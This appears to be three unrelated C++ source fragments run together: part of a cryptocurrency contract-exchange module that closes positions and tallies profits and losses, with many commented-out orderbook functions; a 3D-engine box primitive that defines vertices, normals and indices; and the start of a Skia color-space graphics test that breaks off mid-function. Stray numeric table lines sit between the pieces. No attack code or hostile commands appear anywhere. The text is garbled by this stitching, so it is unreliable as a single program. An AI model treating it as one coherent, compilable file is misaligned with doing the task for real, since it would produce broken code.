PrintToLog("amount returned to balance: %d\n",redeemed);
PrintToLog("--------------------------------------------\n");
// move from reserve to balance the collateral
if (balance > redeemed && balance > 0 && redeemed > 0) {
assert(update_tally_map(addr, collateralCurrency, redeemed, BALANCE));
assert(update_tally_map(addr, collateralCurrency, -redeemed, CONTRACTDEX_RESERVE));
}
// record the cancellation
bValid = true;
// p_txlistdb->recordContractDexCancelTX(txid, it->getHash(), bValid, block, it->getProperty(), it->getAmountForSale
indexes.erase(it++);
rc = 0;
}
}
}
if (bValid == false){
PrintToConsole("Incorrect block or idx\n");
}
return rc;
}
int mastercore::ContractDex_CLOSE_POSITION(const uint256& txid, unsigned int block, const std::string& sender_addr, unsigned char ecosystem, uint32_t contractId, uint32_t collateralCurrency)
{
int64_t shortPosition = getMPbalance(sender_addr,contractId, NEGATIVE_BALANCE);
int64_t longPosition = getMPbalance(sender_addr,contractId, POSSITIVE_BALANCE);
PrintToLog("shortPosition before: %d\n",shortPosition);
PrintToLog("longPosition before: %d\n",longPosition);
LOCK(cs_tally);
// Clearing the position
unsigned int idx=0;
if (shortPosition > 0 && longPosition == 0){
PrintToLog("Short Position closing...\n");
ContractDex_ADD_MARKET_PRICE(sender_addr,contractId, shortPosition, block, txid, idx,BUY, 0);
} else if (longPosition > 0 && shortPosition == 0){
PrintToLog("Long Position closing...\n");
ContractDex_ADD_MARKET_PRICE(sender_addr,contractId, longPosition, block, txid, idx, SELL, 0);
}
// cleaning liquidation price
int64_t liqPrice = getMPbalance(sender_addr,contractId, LIQUIDATION_PRICE);
if (liqPrice > 0){
update_tally_map(sender_addr, contractId, -liqPrice, LIQUIDATION_PRICE);
}
//realized the UPNL
int64_t upnl = 0;
int64_t ppnl = getMPbalance(sender_addr, contractId, UPNL);
int64_t nupnl = getMPbalance(sender_addr, contractId, NUPNL);
(ppnl > 0) ? upnl = ppnl : upnl = nupnl ;
if (upnl > 0){
update_tally_map(sender_addr, contractId, -upnl, UPNL);
update_tally_map(sender_addr, contractId, upnl, REALIZED_PROFIT);
PrintToLog("profits: %d\n",upnl);
} else if (upnl < 0) {
update_tally_map(sender_addr,contractId, upnl, UPNL);
update_tally_map(sender_addr, contractId, -upnl, REALIZED_LOSSES);
PrintToLog("losses: %d\n",upnl);
}
int64_t shortPositionAf = getMPbalance(sender_addr,contractId, NEGATIVE_BALANCE);
int64_t longPositionAf= getMPbalance(sender_addr,contractId, POSSITIVE_BALANCE);
PrintToLog("shortPosition Now: %d\n",shortPositionAf);
PrintToLog("longPosition Now: %d\n",longPositionAf);
if (shortPositionAf == 0 && longPositionAf == 0){
PrintToLog("POSITION CLOSED!!!\n");
} else {
PrintToLog("ERROR: Position partialy Closed\n");
}
return 0;
}
//
// /**
// * Scans the orderbook and removes every all-pair order
// */
// int mastercore::MetaDEx_SHUTDOWN_ALLPAIR()
// {
// int rc = 0;
// PrintToLog("%s()\n", __FUNCTION__);
// for (md_PropertiesMap::iterator my_it = metadex.begin(); my_it != metadex.end(); ++my_it) {
// md_PricesMap& prices = my_it->second;
// for (md_PricesMap::iterator it = prices.begin(); it != prices.end(); ++it) {
// md_Set& indexes = it->second;
// for (md_Set::iterator it = indexes.begin(); it != indexes.end();) {
// if (it->getDesProperty() > OMNI_PROPERTY_TMSC && it->getProperty() > OMNI_PROPERTY_TMSC) { // no OMNI/TOMNI side to the trade
// PrintToLog("%s(): REMOVING %s\n", __FUNCTION__, it->ToString());
// // move from reserve to balance
// assert(update_tally_map(it->getAddr(), it->getProperty(), -it->getAmountRemaining(), METADEX_RESERVE));
// assert(update_tally_map(it->getAddr(), it->getProperty(), it->getAmountRemaining(), BALANCE));
// indexes.erase(it++);
// }
// }
// }
// }
// return rc;
// }
//
// ///////////////////////////////////
// /** New things for Contracts */
// int mastercore::ContractDex_SHUTDOWN_ALLPAIR()
// {
// int rc = 0;
// PrintToLog("%s()\n", __FUNCTION__);
// for (cd_PropertiesMap::iterator my_it = contractdex.begin(); my_it != contractdex.end(); ++my_it) {
// cd_PricesMap &prices = my_it->second;
// for (cd_PricesMap::iterator it = prices.begin(); it != prices.end(); ++it) {
// cd_Set &indexes = it->second;
// for (cd_Set::iterator it = indexes.begin(); it != indexes.end();) {
// if (it->getDesProperty() > OMNI_PROPERTY_TMSC && it->getProperty() > OMNI_PROPERTY_TMSC) { // no OMNI/TOMNI side to the trade
// PrintToLog("%s(): REMOVING %s\n", __FUNCTION__, it->ToString());
// // move from reserve to balance
// assert(update_tally_map(it->getAddr(), it->getProperty(), -it->getAmountRemaining(), METADEX_RESERVE));
// assert(update_tally_map(it->getAddr(), it->getProperty(), it->getAmountRemaining(), BALANCE));
// indexes.erase(it++);
// }
// }
// }
// }
// return rc;
// }
// ///////////////////////////////////
//
// /**
// * Scans the orderbook and removes every order
// */
// int mastercore::MetaDEx_SHUTDOWN()
// {
// int rc = 0;
// PrintToLog("%s()\n", __FUNCTION__);
// for (md_PropertiesMap::iterator my_it = metadex.begin(); my_it != metadex.end(); ++my_it) {
// md_PricesMap& prices = my_it->second;
// for (md_PricesMap::iterator it = prices.begin(); it != prices.end(); ++it) {
// md_Set& indexes = it->second;
// for (md_Set::iterator it = indexes.begin(); it != indexes.end();) {
// PrintToLog("%s(): REMOVING %s\n", __FUNCTION__, it->ToString());
// // move from reserve to balance
// assert(update_tally_map(it->getAddr(), it->getProperty(), -it->getAmountRemaining(), METADEX_RESERVE));
// assert(update_tally_map(it->getAddr(), it->getProperty(), it->getAmountRemaining(), BALANCE));
// indexes.erase(it++);
// }
// }
// }
// return rc;
// }
//
// //////////////////////////////////
// /** New things for Contracts */
// int mastercore::ContractDex_SHUTDOWN()
// {
// int rc = 0;
// PrintToLog("%s()\n", __FUNCTION__);
// for (cd_PropertiesMap::iterator my_it = contractdex.begin(); my_it != contractdex.end(); ++my_it) {
// cd_PricesMap &prices = my_it->second;
// for (cd_PricesMap::iterator it = prices.begin(); it != prices.end(); ++it) {
// cd_Set &indexes = it->second;
// for (cd_Set::iterator it = indexes.begin(); it != indexes.end();) {
// PrintToLog("%s(): REMOVING %s\n", __FUNCTION__, it->ToString());
// // move from reserve to balance
// assert(update_tally_map(it->getAddr(), it->getProperty(), -it->getAmountRemaining(), METADEX_RESERVE));
// assert(update_tally_map(it->getAddr(), it->getProperty(), it->getAmountRemaining(), BALANCE));
// indexes.erase(it++);
// }
// }
// }
// return rc;
// }
// //////////////////////////////////
//
// // searches the metadex maps to see if a trade is still open
// // allows search to be optimized if propertyIdForSale is specified
// bool mastercore::MetaDEx_isOpen(const uint256& txid, uint32_t propertyIdForSale)
// {
// for (md_PropertiesMap::iterator my_it = metadex.begin(); my_it != metadex.end(); ++my_it) {
// if (propertyIdForSale != 0 && propertyIdForSale != my_it->first) continue;
// md_PricesMap & prices = my_it->second;
// for (md_PricesMap::iterator it = prices.begin(); it != prices.end(); ++it) {
// md_Set & indexes = (it->second);
// for (md_Set::iterator it = indexes.begin(); it != indexes.end(); ++it) {
// CMPMetaDEx obj = *it;
// if( obj.getHash().GetHex() == txid.GetHex() ) return true;
// }
// }
// }
// return false;
// }
//
// /////////////////////////////////////
// /** New things for Contracts */
// bool mastercore::ContractDex_isOpen(const uint256& txid, uint32_t propertyIdForSale)
// {
// for (cd_PropertiesMap::iterator my_it = contractdex.begin(); my_it != contractdex.end(); ++my_it) {
// if (propertyIdForSale != 0 && propertyIdForSale != my_it->first) continue;
// cd_PricesMap &prices = my_it->second;
// for (cd_PricesMap::iterator it = prices.begin(); it != prices.end(); ++it) {
// cd_Set &indexes = (it->second);
// for (cd_Set::iterator it = indexes.begin(); it != indexes.end(); ++it) {
// CMPContractDex obj = *it;
// if( obj.getHash().GetHex() == txid.GetHex() ) return true;
// }
// }
// }
// return false;
// }
// ////////////////////////////////////
//
// /**
// * Returns a string describing the status of a trade
// *
// */
// std::string mastercore::MetaDEx_getStatusText(int tradeStatus)
// {
// switch (tradeStatus) {
// case TRADE_OPEN: return "open";
// case TRADE_OPEN_PART_FILLED: return "open part filled";
// case TRADE_FILLED: return "filled";
// case TRADE_CANCELLED: return "cancelled";
// case TRADE_CANCELLED_PART_FILLED: return "cancelled part filled";
// case TRADE_INVALID: return "trade invalid";
// default: return "unknown";
// }
// }
//
// ////////////////////////////////
// /** New things for Contracts */
// std::string mastercore::ContractDex_getStatusText(int tradeStatus)
// {
// switch (tradeStatus) {
// case TRADE_OPEN: return "open";
// case TRADE_OPEN_PART_FILLED: return "open part filled";
// case TRADE_FILLED: return "filled";
// case TRADE_CANCELLED: return "cancelled";
// case TRADE_CANCELLED_PART_FILLED: return "cancelled part filled";
// case TRADE_INVALID: return "trade invalid";
// default: return "unknown";
// }
// }
// ////////////////////////////////
//
// /**
// * Returns the status of a MetaDEx trade
// *
// */
// int mastercore::MetaDEx_getStatus(const uint256& txid, uint32_t propertyIdForSale, int64_t amountForSale, int64_t totalSold)
// {
// // NOTE: If the calling code is already aware of the total amount sold, pass the value in to this function to avoid duplication of
// // work. If the calling code doesn't know the amount, leave default (-1) and we will calculate it from levelDB lookups.
// if (totalSold == -1) {
// UniValue tradeArray(UniValue::VARR);
// int64_t totalReceived;
// t_tradelistdb->getMatchingTrades(txid, propertyIdForSale, tradeArray, totalSold, totalReceived);
// }
//
// // Return a "trade invalid" status if the trade was invalidated at parsing/interpretation (eg insufficient funds)
// if (!getValidMPTX(txid)) return TRADE_INVALID;
//
// // Calculate and return the status of the trade via the amount sold and open/closed attributes.
// if (MetaDEx_isOpen(txid, propertyIdForSale)) {
// if (totalSold == 0) {
// return TRADE_OPEN;
// } else {
// return TRADE_OPEN_PART_FILLED;
// }
// } else {
// if (totalSold == 0) {
// return TRADE_CANCELLED;
// } else if (totalSold < amountForSale) {
// return TRADE_CANCELLED_PART_FILLED;
// } else {
// return TRADE_FILLED;
// }
// }
// }
//
// ///////////////////////////////
// /** New things for Contracts */
// int mastercore::ContractDex_getStatus(const uint256& txid, uint32_t propertyIdForSale, int64_t amountForSale, int64_t totalSold)
// {
// // NOTE: If the calling code is already aware of the total amount sold, pass the value in to this function to avoid duplication of
// // work. If the calling code doesn't know the amount, leave default (-1) and we will calculate it from levelDB lookups.
// if (totalSold == -1) {
// UniValue tradeArray(UniValue::VARR);
// int64_t totalReceived;
// t_tradelistdb->getMatchingTrades(txid, propertyIdForSale, tradeArray, totalSold, totalReceived);
// }
//
// // Return a "trade invalid" status if the trade was invalidated at parsing/interpretation (eg insufficient funds)
// if (!getValidMPTX(txid)) return TRADE_INVALID;
//
// // Calculate and return the status of the trade via the amount sold and open/closed attributes.
// if (ContractDex_isOpen(txid, propertyIdForSale)) {
// if (totalSold == 0) {
// return TRADE_OPEN;
// } else {
// return TRADE_OPEN_PART_FILLED;
// }
// } else {
// if (totalSold == 0) {
// return TRADE_CANCELLED;
// } else if (totalSold < amountForSale) {
// return TRADE_CANCELLED_PART_FILLED;
// } else {
// return TRADE_FILLED;
// }
// }
// }
// ///////////////////////////////
//
// void mastercore::MetaDEx_debug_print(bool bShowPriceLevel, bool bDisplay)
// {
// PrintToLog("<<<\n");
// for (md_PropertiesMap::iterator my_it = metadex.begin(); my_it != metadex.end(); ++my_it) {
// uint32_t prop = my_it->first;
//
// PrintToLog(" ## property: %u\n", prop);
// md_PricesMap& prices = my_it->second;
//
// for (md_PricesMap::iterator it = prices.begin(); it != prices.end(); ++it) {
// rational_t price = it->first;
// md_Set& indexes = it->second;
//
// if (bShowPriceLevel) PrintToLog(" # Price Level: %s\n", xToString(price));
//
// for (md_Set::iterator it = indexes.begin(); it != indexes.end(); ++it) {
// const CMPMetaDEx& obj = *it;
//
// if (bDisplay) PrintToConsole("%s= %s\n", xToString(price), obj.ToString());
// else PrintToLog("%s= %s\n", xToString(price), obj.ToString());
// }
// }
// }
// PrintToLog(">>>\n");
// }
//
// /////////////////////////////////////
// /** New things for Contracts */
// void mastercore::ContractDex_debug_print(bool bShowPriceLevel, bool bDisplay)
// {
// PrintToLog("<<<\n");
// for (cd_PropertiesMap::iterator my_it = contractdex.begin(); my_it != contractdex.end(); ++my_it) {
// uint32_t prop = my_it->first;
//
// PrintToLog(" ## property: %u\n", prop);
// cd_PricesMap &prices = my_it->second;
//
// for (cd_PricesMap::iterator it = prices.begin(); it != prices.end(); ++it) {
// uint64_t price = it->first;
// cd_Set &indexes = it->second;
//
// if (bShowPriceLevel) PrintToLog(" # Price Level: %s\n", xToString(price));
//
// for (cd_Set::iterator it = indexes.begin(); it != indexes.end(); ++it) {
// const CMPContractDex &obj = *it;
//
// if (bDisplay) PrintToConsole("%s= %s\n", xToString(price), obj.ToString());
// else PrintToLog("%s= %s\n", xToString(price), obj.ToString());
// }
// }
// }
// PrintToLog(">>>\n");
// }
// /////////////////////////////////////
//
// /**
// * Locates a trade in the MetaDEx maps via txid and returns the trade object
// *
// */
// const CMPMetaDEx* mastercore::MetaDEx_RetrieveTrade(const uint256& txid)
// {
// for (md_PropertiesMap::iterator propIter = metadex.begin(); propIter != metadex.end(); ++propIter) {
// md_PricesMap & prices = propIter->second;
// for (md_PricesMap::iterator pricesIter = prices.begin(); pricesIter != prices.end(); ++pricesIter) {
// md_Set & indexes = pricesIter->second;
// for (md_Set::iterator tradesIter = indexes.begin(); tradesIter != indexes.end(); ++tradesIter) {
// if (txid == (*tradesIter).getHash()) return &(*tradesIter);
// }
// }
// }
// return (CMPMetaDEx*) NULL;
// }
//
// ////////////////////////////////////////
// /** New things for Contracts */
// const CMPContractDex* mastercore::ContractDex_RetrieveTrade(const uint256& txid)
// {
// for (cd_PropertiesMap::iterator propIter = contractdex.begin(); propIter != contractdex.end(); ++propIter) {
// cd_PricesMap &prices = propIter->second;
// for (cd_PricesMap::iterator pricesIter = prices.begin(); pricesIter != prices.end(); ++pricesIter) {
// cd_Set &indexes = pricesIter->second;
// for (cd_Set::iterator tradesIter = indexes.begin(); tradesIter != indexes.end(); ++tradesIter) {
// if (txid == (*tradesIter).getHash()) return &(*tradesIter);
// }
// }
// }
// return (CMPContractDex*) NULL;
// }
////////////////////////////////////////
| 93,533 | 33,172 |
#include "nau/geometry/box.h"
#include "nau/math/vec3.h"
#include "nau/geometry/vertexData.h"
#include "nau/material/materialGroup.h"
using namespace nau::geometry;
using namespace nau::math;
using namespace nau::render;
using namespace nau::material;
Box::Box(void) : Primitive() {
float n = 1.0f;
std::shared_ptr<std::vector<VertexData::Attr>> vertices =
std::shared_ptr<std::vector<VertexData::Attr>>(new std::vector<VertexData::Attr>(24));
std::shared_ptr<std::vector<VertexData::Attr>> tangent =
std::shared_ptr<std::vector<VertexData::Attr>>(new std::vector<VertexData::Attr>(24));
std::shared_ptr<std::vector<VertexData::Attr>> textureCoords =
std::shared_ptr<std::vector<VertexData::Attr>>(new std::vector<VertexData::Attr>(24));
std::shared_ptr<std::vector<VertexData::Attr>> normals =
std::shared_ptr<std::vector<VertexData::Attr>>(new std::vector<VertexData::Attr>(24));
// FRONT
vertices->at (Box::FACE_FRONT + Box::TOP_LEFT).set (-n, n, n);
vertices->at (Box::FACE_FRONT + Box::TOP_RIGHT).set ( n, n, n);
vertices->at (Box::FACE_FRONT + Box::BOTTOM_RIGHT).set ( n, -n, n);
vertices->at (Box::FACE_FRONT + Box::BOTTOM_LEFT).set (-n, -n, n);
tangent->at (Box::FACE_FRONT + Box::TOP_LEFT).set (1.0f, 0.0f, 0.0f, 0.0f);
tangent->at (Box::FACE_FRONT + Box::TOP_RIGHT).set (1.0f, 0.0f, 0.0f, 0.0f);
tangent->at (Box::FACE_FRONT + Box::BOTTOM_RIGHT).set (1.0f, 0.0f, 0.0f, 0.0f);
tangent->at (Box::FACE_FRONT + Box::BOTTOM_LEFT).set (1.0f, 0.0f, 0.0f, 0.0f);
textureCoords->at (Box::FACE_FRONT + Box::TOP_LEFT).set (0.0f, n, 0.0f);
textureCoords->at (Box::FACE_FRONT + Box::TOP_RIGHT).set (n, n, 0.0f);
textureCoords->at (Box::FACE_FRONT + Box::BOTTOM_RIGHT).set (n, 0.0f, 0.0f);
textureCoords->at (Box::FACE_FRONT + Box::BOTTOM_LEFT).set (0.0f, 0.0f, 0.0f);
normals->at (Box::FACE_FRONT + Box::TOP_LEFT).set (0.0f, 0.0f, n, 0.0f);
normals->at (Box::FACE_FRONT + Box::TOP_RIGHT).set (0.0f, 0.0f, n, 0.0f);
normals->at (Box::FACE_FRONT + Box::BOTTOM_RIGHT).set (0.0f, 0.0f, n, 0.0f);
normals->at (Box::FACE_FRONT + Box::BOTTOM_LEFT).set (0.0f, 0.0f, n, 0.0f);
//LEFT
vertices->at (Box::FACE_LEFT + Box::TOP_LEFT).set (-n, n, -n);
vertices->at (Box::FACE_LEFT + Box::TOP_RIGHT).set (-n, n, n);
vertices->at (Box::FACE_LEFT + Box::BOTTOM_RIGHT).set (-n, -n, n);
vertices->at (Box::FACE_LEFT + Box::BOTTOM_LEFT).set (-n, -n, -n);
tangent->at (Box::FACE_LEFT + Box::TOP_LEFT).set (0.0f, 0.0f, 1.0f, 0.0f);
tangent->at (Box::FACE_LEFT + Box::TOP_RIGHT).set (0.0f, 0.0f, 1.0f, 0.0f);
tangent->at (Box::FACE_LEFT + Box::BOTTOM_RIGHT).set (0.0f, 0.0f, 1.0f, 0.0f);
tangent->at (Box::FACE_LEFT + Box::BOTTOM_LEFT).set (0.0f, 0.0f, 1.0f, 0.0f);
textureCoords->at (Box::FACE_LEFT + Box::TOP_LEFT).set (0.0f, n, 0.0f);
textureCoords->at (Box::FACE_LEFT + Box::TOP_RIGHT).set (n, n, 0.0f);
textureCoords->at (Box::FACE_LEFT + Box::BOTTOM_RIGHT).set (n, 0.0f, 0.0f);
textureCoords->at (Box::FACE_LEFT + Box::BOTTOM_LEFT).set (0.0f, 0.0f, 0.0f);
normals->at (Box::FACE_LEFT + Box::TOP_LEFT).set (-n, 0.0f, 0.0f, 0.0f);
normals->at (Box::FACE_LEFT + Box::TOP_RIGHT).set (-n, 0.0f, 0.0f, 0.0f);
normals->at (Box::FACE_LEFT + Box::BOTTOM_RIGHT).set (-n, 0.0f, 0.0f, 0.0f);
normals->at (Box::FACE_LEFT + Box::BOTTOM_LEFT).set (-n, 0.0f, 0.0f, 0.0f);
//BACK
vertices->at (Box::FACE_BACK + Box::TOP_LEFT).set ( n, n, -n);
vertices->at (Box::FACE_BACK + Box::TOP_RIGHT).set (-n, n, -n);
vertices->at (Box::FACE_BACK + Box::BOTTOM_RIGHT).set (-n, -n,-n);
vertices->at (Box::FACE_BACK + Box::BOTTOM_LEFT).set ( n, -n,-n);
tangent->at (Box::FACE_BACK + Box::TOP_LEFT).set (-1.0f, 0.0f, 0.0f, 0.0f);
tangent->at (Box::FACE_BACK + Box::TOP_RIGHT).set (-1.0f, 0.0f, 0.0f, 0.0f);
tangent->at (Box::FACE_BACK + Box::BOTTOM_RIGHT).set (-1.0f, 0.0f, 0.0f, 0.0f);
tangent->at (Box::FACE_BACK + Box::BOTTOM_LEFT).set (-1.0f, 0.0f, 0.0f, 0.0f);
textureCoords->at (Box::FACE_BACK + Box::TOP_LEFT).set (0.0f, n, 0.0f);
textureCoords->at (Box::FACE_BACK + Box::TOP_RIGHT).set (n, n, 0.0f);
textureCoords->at (Box::FACE_BACK + Box::BOTTOM_RIGHT).set (n, 0.0f, 0.0f);
textureCoords->at (Box::FACE_BACK + Box::BOTTOM_LEFT).set (0.0f, 0.0f, 0.0f);
normals->at (Box::FACE_BACK + Box::TOP_LEFT).set (0.0f, 0.0f, -n, 0.0f);
normals->at (Box::FACE_BACK + Box::TOP_RIGHT).set (0.0f, 0.0f, -n, 0.0f);
normals->at (Box::FACE_BACK + Box::BOTTOM_RIGHT).set (0.0f, 0.0f, -n, 0.0f);
normals->at (Box::FACE_BACK + Box::BOTTOM_LEFT).set (0.0f, 0.0f, -n, 0.0f);
//RIGHT
vertices->at (Box::FACE_RIGHT + Box::TOP_LEFT).set ( n, n, n);
vertices->at (Box::FACE_RIGHT + Box::TOP_RIGHT).set ( n, n, -n);
vertices->at (Box::FACE_RIGHT + Box::BOTTOM_RIGHT).set ( n, -n,-n);
vertices->at (Box::FACE_RIGHT + Box::BOTTOM_LEFT).set ( n, -n, n);
tangent->at (Box::FACE_RIGHT + Box::TOP_LEFT).set (0.0f, 0.0f, -1.0f, 0.0f);
tangent->at (Box::FACE_RIGHT + Box::TOP_RIGHT).set (0.0f, 0.0f, -1.0f, 0.0f);
tangent->at (Box::FACE_RIGHT + Box::BOTTOM_RIGHT).set (0.0f, 0.0f, -1.0f, 0.0f);
tangent->at (Box::FACE_RIGHT + Box::BOTTOM_LEFT).set (0.0f, 0.0f, -1.0f, 0.0f);
textureCoords->at (Box::FACE_RIGHT + Box::TOP_LEFT).set (0.0f, n, 0.0f);
textureCoords->at (Box::FACE_RIGHT + Box::TOP_RIGHT).set (n, n, 0.0f);
textureCoords->at (Box::FACE_RIGHT + Box::BOTTOM_RIGHT).set (n, 0.0f, 0.0f);
textureCoords->at (Box::FACE_RIGHT + Box::BOTTOM_LEFT).set (0.0f, 0.0f, 0.0f);
normals->at (Box::FACE_RIGHT + Box::TOP_LEFT).set (n, 0.0f, 0.0f, 0.0f);
normals->at (Box::FACE_RIGHT + Box::TOP_RIGHT).set (n, 0.0f, 0.0f, 0.0f);
normals->at (Box::FACE_RIGHT + Box::BOTTOM_RIGHT).set (n, 0.0f, 0.0f, 0.0f);
normals->at (Box::FACE_RIGHT + Box::BOTTOM_LEFT).set (n, 0.0f, 0.0f, 0.0f);
//TOP
vertices->at (Box::FACE_TOP + Box::TOP_LEFT).set (-n, n, -n);
vertices->at (Box::FACE_TOP + Box::TOP_RIGHT).set ( n, n, -n);
vertices->at (Box::FACE_TOP + Box::BOTTOM_RIGHT).set( n, n, n);
vertices->at (Box::FACE_TOP + Box::BOTTOM_LEFT).set (-n, n, n);
tangent->at (Box::FACE_TOP + Box::TOP_LEFT).set (1.0f, 0.0f, 0.0f, 0.0f);
tangent->at (Box::FACE_TOP + Box::TOP_RIGHT).set (1.0f, 0.0f, 0.0f, 0.0f);
tangent->at (Box::FACE_TOP + Box::BOTTOM_RIGHT).set (1.0f, 0.0f, 0.0f, 0.0f);
tangent->at (Box::FACE_TOP + Box::BOTTOM_LEFT).set (1.0f, 0.0f, 0.0f, 0.0f);
textureCoords->at (Box::FACE_TOP + Box::TOP_LEFT).set (0.0f, n, 0.0f);
textureCoords->at (Box::FACE_TOP + Box::TOP_RIGHT).set (n, n, 0.0f);
textureCoords->at (Box::FACE_TOP + Box::BOTTOM_RIGHT).set (n, 0.0f, 0.0f);
textureCoords->at (Box::FACE_TOP + Box::BOTTOM_LEFT).set (0.0f, 0.0f, 0.0f);
normals->at (Box::FACE_TOP + Box::TOP_LEFT).set ( 0.0f, n, 0.0f, 0.0f);
normals->at (Box::FACE_TOP + Box::TOP_RIGHT).set ( 0.0f, n, 0.0f, 0.0f);
normals->at (Box::FACE_TOP + Box::BOTTOM_RIGHT).set ( 0.0f, n, 0.0f, 0.0f);
normals->at (Box::FACE_TOP + Box::BOTTOM_LEFT).set ( 0.0f, n, 0.0f, 0.0f);
//BOTTOM
vertices->at (Box::FACE_BOTTOM + Box::TOP_LEFT).set (-n, -n, n);
vertices->at (Box::FACE_BOTTOM + Box::TOP_RIGHT).set ( n, -n, n);
vertices->at (Box::FACE_BOTTOM + Box::BOTTOM_RIGHT).set ( n, -n, -n);
vertices->at (Box::FACE_BOTTOM + Box::BOTTOM_LEFT).set (-n, -n, -n);
tangent->at (Box::FACE_BOTTOM + Box::TOP_LEFT).set (-1.0f, 0.0f, 0.0f, 0.0f);
tangent->at (Box::FACE_BOTTOM + Box::TOP_RIGHT).set (-1.0f, 0.0f, 0.0f, 0.0f);
tangent->at (Box::FACE_BOTTOM + Box::BOTTOM_RIGHT).set (-1.0f, 0.0f, 0.0f, 0.0f);
tangent->at (Box::FACE_BOTTOM + Box::BOTTOM_LEFT).set (-1.0f, 0.0f, 0.0f, 0.0f);
textureCoords->at (Box::FACE_BOTTOM + Box::TOP_LEFT).set (0.0f, n, 0.0f);
textureCoords->at (Box::FACE_BOTTOM + Box::TOP_RIGHT).set (n, n, 0.0f);
textureCoords->at (Box::FACE_BOTTOM + Box::BOTTOM_RIGHT).set (n, 0.0f, 0.0f);
textureCoords->at (Box::FACE_BOTTOM + Box::BOTTOM_LEFT).set (0.0f, 0.0f, 0.0f);
normals->at (Box::FACE_BOTTOM + Box::TOP_LEFT).set ( 0.0f, -n, 0.0f, 0.0f);
normals->at (Box::FACE_BOTTOM + Box::TOP_RIGHT).set ( 0.0f, -n, 0.0f, 0.0f);
normals->at (Box::FACE_BOTTOM + Box::BOTTOM_RIGHT).set ( 0.0f, -n, 0.0f, 0.0f);
normals->at (Box::FACE_BOTTOM + Box::BOTTOM_LEFT).set ( 0.0f, -n, 0.0f, 0.0f);
std::shared_ptr<VertexData> &vertexData = getVertexData();
vertexData->setDataFor (VertexData::GetAttribIndex(std::string("position")), vertices);
vertexData->setDataFor (VertexData::GetAttribIndex(std::string("texCoord0")), textureCoords);
vertexData->setDataFor (VertexData::GetAttribIndex(std::string("tangent")), tangent);
vertexData->setDataFor (VertexData::GetAttribIndex(std::string("normal")), normals);
std::shared_ptr<MaterialGroup> aMaterialGroup = MaterialGroup::Create(this, "__Light Grey");
std::shared_ptr<std::vector<unsigned int>> indices =
std::shared_ptr<std::vector<unsigned int>>(new std::vector<unsigned int>(36));
//FRONT
indices->at (0) = Box::FACE_FRONT + Box::TOP_LEFT;
indices->at (1) = Box::FACE_FRONT + Box::BOTTOM_LEFT;
indices->at (2) = Box::FACE_FRONT + Box::TOP_RIGHT;
indices->at (3) = Box::FACE_FRONT + Box::BOTTOM_LEFT;
indices->at (4) = Box::FACE_FRONT + Box::BOTTOM_RIGHT;
indices->at (5) = Box::FACE_FRONT + Box::TOP_RIGHT;
//LEFT
indices->at (6) = Box::FACE_LEFT + Box::TOP_LEFT;
indices->at (7) = Box::FACE_LEFT + Box::BOTTOM_LEFT;
indices->at (8) = Box::FACE_LEFT + Box::TOP_RIGHT;
indices->at (9) = Box::FACE_LEFT + Box::BOTTOM_LEFT;
indices->at (10)= Box::FACE_LEFT + Box::BOTTOM_RIGHT;
indices->at (11)= Box::FACE_LEFT + Box::TOP_RIGHT;
//BACK
indices->at (12)= Box::FACE_BACK + Box::TOP_LEFT;
indices->at (13)= Box::FACE_BACK + Box::BOTTOM_LEFT;
indices->at (14)= Box::FACE_BACK + Box::TOP_RIGHT;
indices->at (15)= Box::FACE_BACK + Box::BOTTOM_LEFT;
indices->at (16)= Box::FACE_BACK + Box::BOTTOM_RIGHT;
indices->at (17)= Box::FACE_BACK + Box::TOP_RIGHT;
//RIGHT
indices->at (18)= Box::FACE_RIGHT + Box::TOP_LEFT;
indices->at (19)= Box::FACE_RIGHT + Box::BOTTOM_LEFT;
indices->at (20)= Box::FACE_RIGHT + Box::TOP_RIGHT;
indices->at (21)= Box::FACE_RIGHT + Box::BOTTOM_LEFT;
indices->at (22)= Box::FACE_RIGHT + Box::BOTTOM_RIGHT;
indices->at (23)= Box::FACE_RIGHT + Box::TOP_RIGHT;
//TOP
indices->at (24)= Box::FACE_TOP + Box::TOP_LEFT;
indices->at (25)= Box::FACE_TOP + Box::BOTTOM_LEFT;
indices->at (26)= Box::FACE_TOP + Box::TOP_RIGHT;
indices->at (27)= Box::FACE_TOP + Box::BOTTOM_LEFT;
indices->at (28)= Box::FACE_TOP + Box::BOTTOM_RIGHT;
indices->at (29)= Box::FACE_TOP + Box::TOP_RIGHT;
//BOTTOM
indices->at (30)= Box::FACE_BOTTOM + Box::TOP_LEFT;
indices->at (31)= Box::FACE_BOTTOM + Box::BOTTOM_LEFT;
indices->at (32)= Box::FACE_BOTTOM + Box::TOP_RIGHT;
indices->at (33)= Box::FACE_BOTTOM + Box::BOTTOM_LEFT;
indices->at (34)= Box::FACE_BOTTOM + Box::BOTTOM_RIGHT;
indices->at (35)= Box::FACE_BOTTOM + Box::TOP_RIGHT;
aMaterialGroup->setIndexList (indices);
addMaterialGroup (aMaterialGroup);
}
Box::~Box(void) {
}
std::string
Box::getClassName() {
return "Box";
}
void
Box::build() {
}
| 11,050 | 5,944 |
/*
* Copyright 2017 Google Inc.
*
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file.
*/
#include "gm.h"
#include "Resources.h"
#include "SkCodec.h"
#include "SkColorSpace_Base.h"
#include "SkImage.h"
#include "SkImagePriv.h"
sk_sp<SkImage> make_raster_image(const char* path, SkTransferFunctionBehavior behavior) {
SkString resourcePath = GetResourcePath(path);
sk_sp<SkData> resourceData = SkData::MakeFromFileName(resourcePath.c_str());
std::unique_ptr<SkCodec> codec = SkCodec::MakeFromData(resourceData);
SkBitmap bitmap;
bitmap.allocPixels(codec->getInfo());
SkCodec::Options opts;
opts.fPremulBehavior = behavior;
codec->getPixels(codec->getInfo(), bitmap.getPixels(), bitmap.rowBytes(), &opts);
return SkImage::MakeFromBitmap(bitmap);
}
sk_sp<SkImage> make_color_space(sk_sp<SkImage> orig, sk_sp<SkColorSpace> colorSpace,
SkTransferFunctionBehavior behavior) {
sk_sp<SkImage> xform = orig->makeColorSpace(colorSpace, behavior);
// Assign an sRGB color space on the xformed image, so we can see the effects of the xform
// when we draw.
sk_sp<SkColorSpace> srgb = SkColorSpace::MakeSRGB();
if (colorSpace->gammaIsLinear()) {
srgb = SkColorSpace::MakeSRGBLinear();
}
return SkImageMakeRasterCopyAndAssignColorSpace(xform.get(), srgb.get());
}
class MakeCSGM : public skiagm::GM {
public:
MakeCSGM() {}
protected:
SkString onShortName() override {
return SkString("makecolorspace");
}
SkISize onISize() override {
return SkISize::Make(128*3, 128*4);
}
void onDraw(SkCanvas* canvas) override {
